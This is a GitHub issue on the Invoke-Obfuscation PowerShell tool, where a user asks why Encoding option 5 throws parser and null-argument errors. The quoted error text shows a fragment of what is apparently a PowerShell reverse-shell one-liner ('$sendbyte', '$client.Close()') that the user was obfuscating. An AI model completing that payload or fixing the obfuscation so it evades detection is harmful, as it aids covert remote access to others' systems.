Skip to content

"Invoke-Obfuscation.ps1" file code error. #61

@siam41164

Description

@siam41164

when i choose encoding options 5 then show this error when i choose another number show this error but second error code line (1264) was changed, how to solve it?

Invoke-Obfuscation\Encoding> 5
MethodInvocationException: /home/siam/redteam/Invoke-Obfuscation/Invoke-Obfuscation.ps1:1178
Line |
1178 | … $ObfCommandScriptBlock = $ExecutionContext.InvokeCommand. …
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| Exception calling "NewScriptBlock" with "1" argument(s): "At line:1 char:503 + …
| Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +
| ~ The string is missing the terminator: ". At line:1 char:503 + …
| Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +
| ~ Unexpected token '" ' in expression or statement."

Out-SecureStringCommand: /home/siam/redteam/Invoke-Obfuscation/Invoke-Obfuscation.ps1:1264
Line |
1264 | … reStringCommand -ScriptBlock $ObfCommandScriptBlock -PassTh …
| ~~~~~~~~~~~~~~~~~~~~~~
| Cannot validate argument on parameter 'ScriptBlock'. The argument is null or
| empty. Provide an argument that is not null or empty, and then try the command
| again.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions